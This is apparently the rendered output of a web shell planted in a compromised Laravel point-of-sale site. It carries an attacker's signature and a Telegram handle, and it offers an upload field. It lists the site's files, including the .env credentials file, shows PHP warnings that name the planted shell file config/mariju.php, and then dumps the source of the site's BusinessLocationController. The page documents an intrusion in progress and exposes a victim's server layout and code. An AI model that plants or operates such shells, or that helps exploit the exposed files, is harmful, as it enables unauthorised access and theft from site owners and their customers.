telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14830763 KBJuly 18 2025 16:29:460644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
moduleUtil = $moduleUtil; $this->commonUtil = $commonUtil; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $locations = BusinessLocation::where('business_locations.business_id', $business_id) ->leftjoin( 'invoice_schemes as ic', 'business_locations.invoice_scheme_id', '=', 'ic.id' ) ->leftjoin( 'invoice_layouts as il', 'business_locations.invoice_layout_id', '=', 'il.id' ) ->leftjoin( 'invoice_layouts as sil', 'business_locations.sale_invoice_layout_id', '=', 'sil.id' ) ->leftjoin( 'selling_price_groups as spg', 'business_locations.selling_price_group_id', '=', 'spg.id' ) ->select(['business_locations.name', 'location_id', 'landmark', 'city', 'zip_code', 'state', 'country', 'business_locations.id', 'spg.name as price_group', 'ic.name as invoice_scheme', 'il.name as invoice_layout', 'sil.name as sale_invoice_layout', 'business_locations.is_active', ]); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $locations->whereIn('business_locations.id', $permitted_locations); } return Datatables::of($locations) ->addColumn( 'action', ' @lang("messages.settings") ' ) ->removeColumn('id') ->removeColumn('is_active') ->rawColumns([11]) ->make(false); } return view('business_location.index'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); //Check if subscribed or not, then check for location quota if (! $this->moduleUtil->isSubscribed($business_id)) { return $this->moduleUtil->expiredResponse(); } elseif (! $this->moduleUtil->isQuotaAvailable('locations', $business_id)) { return $this->moduleUtil->quotaExpiredResponse('locations', $business_id); } $invoice_layouts = InvoiceLayout::where('business_id', $business_id) ->get() ->pluck('name', 'id'); $invoice_schemes = InvoiceScheme::where('business_id', $business_id) ->get() ->pluck('name', 'id'); $price_groups = SellingPriceGroup::forDropdown($business_id); $payment_types = $this->commonUtil->payment_types(null, false, $business_id); //Accounts $accounts = []; if ($this->commonUtil->isModuleEnabled('account')) { $accounts = Account::forDropdown($business_id, true, false); } return view('business_location.create') ->with(compact( 'invoice_layouts', 'invoice_schemes', 'price_groups', 'payment_types', 'accounts' )); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } try { $business_id = $request->session()->get('user.business_id'); //Check if subscribed or not, then check for location quota if (! $this->moduleUtil->isSubscribed($business_id)) { return $this->moduleUtil->expiredResponse(); } elseif (! $this->moduleUtil->isQuotaAvailable('locations', $business_id)) { return $this->moduleUtil->quotaExpiredResponse('locations', $business_id); } $input = $request->only(['name', 'landmark', 'city', 'state', 'country', 'zip_code', 'invoice_scheme_id', 'invoice_layout_id', 'mobile', 'alternate_number', 'email', 'website', 'custom_field1', 'custom_field2', 'custom_field3', 'custom_field4', 'location_id', 'selling_price_group_id', 'default_payment_accounts', 'featured_products', 'sale_invoice_layout_id', 'sale_invoice_scheme_id']); $input['business_id'] = $business_id; $input['default_payment_accounts'] = ! empty($input['default_payment_accounts']) ? json_encode($input['default_payment_accounts']) : null; //Update reference count $ref_count = $this->moduleUtil->setAndGetReferenceCount('business_location'); if (empty($input['location_id'])) { $input['location_id'] = $this->moduleUtil->generateReferenceNumber('business_location', $ref_count); } $location = BusinessLocation::create($input); //Create a new permission related to the created location Permission::create(['name' => 'location.'.$location->id]); $output = ['success' => true, 'msg' => __('business.business_location_added_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Display the specified resource. * * @param \App\StoreFront $storeFront * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param \App\StoreFront $storeFront * @return \Illuminate\Http\Response */ public function edit($id) { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); $location = BusinessLocation::where('business_id', $business_id) ->find($id); $invoice_layouts = InvoiceLayout::where('business_id', $business_id) ->get() ->pluck('name', 'id'); $invoice_schemes = InvoiceScheme::where('business_id', $business_id) ->get() ->pluck('name', 'id'); $price_groups = SellingPriceGroup::forDropdown($business_id); $payment_types = $this->commonUtil->payment_types(null, false, $business_id); //Accounts $accounts = []; if ($this->commonUtil->isModuleEnabled('account')) { $accounts = Account::forDropdown($business_id, true, false); } $featured_products = $location->getFeaturedProducts(true, false); return view('business_location.edit') ->with(compact( 'location', 'invoice_layouts', 'invoice_schemes', 'price_groups', 'payment_types', 'accounts', 'featured_products' )); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\StoreFront $storeFront * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'landmark', 'city', 'state', 'country', 'zip_code', 'invoice_scheme_id', 'invoice_layout_id', 'mobile', 'alternate_number', 'email', 'website', 'custom_field1', 'custom_field2', 'custom_field3', 'custom_field4', 'location_id', 'selling_price_group_id', 'default_payment_accounts', 'featured_products', 'sale_invoice_layout_id', 'sale_invoice_scheme_id' ]); $business_id = $request->session()->get('user.business_id'); $input['default_payment_accounts'] = ! empty($input['default_payment_accounts']) ? json_encode($input['default_payment_accounts']) : null; $input['featured_products'] = ! empty($input['featured_products']) ? json_encode($input['featured_products']) : null; BusinessLocation::where('business_id', $business_id) ->where('id', $id) ->update($input); $output = ['success' => true, 'msg' => __('business.business_location_updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Remove the specified resource from storage. * * @param \App\StoreFront $storeFront * @return \Illuminate\Http\Response */ public function destroy($id) { // } /** * Checks if the given location id already exist for the current business. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function checkLocationId(Request $request) { $location_id = $request->input('location_id'); $valid = 'true'; if (! empty($location_id)) { $business_id = $request->session()->get('user.business_id'); $hidden_id = $request->input('hidden_id'); $query = BusinessLocation::where('business_id', $business_id) ->where('location_id', $location_id); if (! empty($hidden_id)) { $query->where('id', '!=', $hidden_id); } $count = $query->count(); if ($count > 0) { $valid = 'false'; } } echo $valid; exit; } /** * Function to activate or deactivate a location. * * @param int $location_id * @return json */ public function activateDeactivateLocation($location_id) { if (! auth()->user()->can('business_settings.access')) { abort(403, 'Unauthorized action.'); } try { $business_id = request()->session()->get('user.business_id'); $business_location = BusinessLocation::where('business_id', $business_id) ->findOrFail($location_id); $business_location->is_active = ! $business_location->is_active; $business_location->save(); $msg = $business_location->is_active ? __('lang_v1.business_location_activated_successfully') : __('lang_v1.business_location_deactivated_successfully'); $output = ['success' => true, 'msg' => $msg, ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } }